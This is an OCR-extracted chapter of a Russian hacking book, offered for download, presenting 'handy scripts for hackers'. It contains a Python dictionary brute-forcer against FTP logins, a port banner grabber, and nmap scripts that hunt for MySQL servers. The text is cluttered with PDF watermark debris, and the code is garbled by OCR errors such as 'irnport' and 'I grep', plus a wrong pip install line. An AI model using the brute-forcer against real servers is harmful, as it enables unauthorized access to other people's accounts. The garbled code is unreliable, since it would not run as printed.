Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Колисниченко Д. Н. Хакинг на linux.pdf
Скачиваний:
17
Добавлен:
19.04.2024
Размер:
29.19 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'\al,11111 IИI l.illll\

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Хакеры - хоть и умные, но довольно ленивые. Если есть возможность что-то автоматизировать, то они это делают. В этой главе мы рассмотрим несколько скриптов, которые тебе обязательно пригодятся.

13.1. Взлом FTP

Для взлома FTP можно использовать Руthоn-библиотеку :ftplib для установки которой нужно ввести команду:

pip install ftplib apt-get install python-ftplib

Напишем скрипт (лист. 13.1), который устроит перебор паролей по списку паролей, хранящихся в файле. Имя пользователя, которого ты собрался взла­ мывать, как и путь к файлу с паролями скрипт запрашивает с клавиатуры.

11111- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

l .1a11a 1. . ( l,JIIIIIIIIIII

 

 

 

 

 

BUY

 

 

 

 

 

"\

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

13.1. Взлом FTP путем перебора паролей

 

w

 

 

 

 

 

 

 

Листингo

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

#! /usr/bin/pythonЗ

 

 

 

 

 

 

 

import ftplib

 

 

 

 

 

 

 

server =

input("Aдpec FТР-сервера: ");

user=input("им пользователя: "); Passwordlist=input("Bвeди путь к словарю > "); try:

with open(Passwordlist, 'r') as pw: for word in pw:

word=word. strip('\r') . strip( '\n') try:

ftp = ftplib.FTP(server) ftp.login(user,word)

print('Пapoль подобран: ' + word ) except:

print('работаем... ')

except:

рrint('Ошибка словаря')

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

1.111 \al,l'p,1

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

13.2. Проверка портов

Проще всего для сканирования портов использовать nmap. Но если нуж­ но проверить только определенные порты и есть вообще желание немно­ го попроrраммировать на Python, тогда рассмотрим сценарий из листинга

13.2.Сценарий пробует подключиться к портам, указанным в списке Port

••.••. .•••••• --- •--------. --••.---------- - -- --------- - ---------- ------------ .. с. ---

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

I

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

Click

 

 

и вm

случае удачного подключения выводит ответ, полученный от сервераClick.

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.c

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

Как минимум, таким образом ты сможешь узнать версию ПО, "слушающе­

 

 

 

g

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

го" данные порты.

Листинг 13.2. Проверка портов

#! /usr/bin/pythonЗ irnport socket

s = socket.socket() Port=[21,22,25,3306]

for i in range(0,4): s=socket.socket() Ports=Port[i]

print("Oтвeт сервера") print(Ports)

s.connect(("192.168.1.101", Ports)) answer = s.recv(1024)

print (answer) s. close()

print (answer)

13.3. Сканирование MySQL

Сценарий из листинга 13.3 позволит найти окружающие тебя MySQL­ cepвepы. Все, что тебе нужно сделать - указать другой диапазон IР-адресов. Данный скрипт запускает nmap, который выполняет сканирование диапазо-

1111- -- -- - - - - - - - -- - --- - - - - - - - - - - . - - - - - - - - - - - - - - - - -- - - - - - - -- -- - --- - - -- -- - - - - - - -- - - - - - ..

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

Click

 

 

наm

IР-адресов на открытый порт 3306 (порт MySQL). Результаты записываClick­

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.c

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

ются в файл MYSQLscan. Далее скрипт выводит этот файл и отфильтровы­

 

 

 

g

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

вает результаты, показывая только открытые порты.

Листинг 13.3. Сканирование MySQL

# ! /Ьin/bash

nmap -sт 192.168.181.0/24-р 3306 >/dev/null -oG MYSQLscan

cat MYSQLscan I grep open > MYSQLScan2

cat MYSQLScan2

При желании этот скрипт можно усовершенствовать - чтобы он запрашивал начальный IР-адрес и последний октет последнего IР-адреса - тогда тебе не придется каждый раз модифицировать сценарий, когда тебе нужно будет просканировать другой диапазон.

Листинг 13.4. Модифицированная версия

#! /Ьin/bash

echo "Начальный IР-адрес: " read FirstIP

echo "Последний октет последнего IР-адреса, например, 255:" read LastIP

echo "Номер порта для сканирования:" read port

nmap -sт $FirstIP-$LastIP -р $port >/dev/null -oG MYSQLscan cat MYSQLscan I grep open > MYSQLScan2

cat MYSQLScan2

1111

. -- -- --- - --- - - - - - - - -- - - - - - - - - - - - - - - - - - - - -- - - - - - - - -- - - - -- - - --- - --- - ---- - - - -- - - - - -